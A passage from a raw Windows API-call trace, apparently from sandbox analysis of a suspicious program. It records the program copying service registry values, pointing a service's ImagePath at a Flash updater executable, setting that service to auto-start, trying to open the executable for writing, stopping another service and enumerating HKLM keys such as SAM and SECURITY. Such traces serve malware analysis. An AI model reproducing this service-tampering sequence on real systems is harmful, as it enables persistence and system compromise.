lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.781] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.781] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0260.781] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.781] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0260.781] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.782] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.783] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.783] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d08) returned 1 [0260.783] RegSetValueExA (in: hKey=0x15c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.783] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.784] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.784] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0260.784] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0260.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0260.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d518 [0260.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0260.784] LocalFree (hMem=0x5d3a08) returned 0x0 [0260.784] RegSetValueExA (in: hKey=0x15c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0260.784] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x5d6df8 [0260.784] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.803] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d468) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.804] RegCloseKey (hKey=0x15c) returned 0x0 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0260.804] RegCloseKey (hKey=0x154) returned 0x0 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0260.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0260.804] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0260.804] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.804] GetLastError () returned 0x20 [0260.804] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0260.805] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0260.805] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0260.805] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x5d6d08 [0260.806] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0260.806] GetLastError () returned 0x426 [0260.806] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0260.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0260.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0260.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0260.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0260.806] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.807] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.808] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4a80, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.808] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.808] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.808] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.809] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.809] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 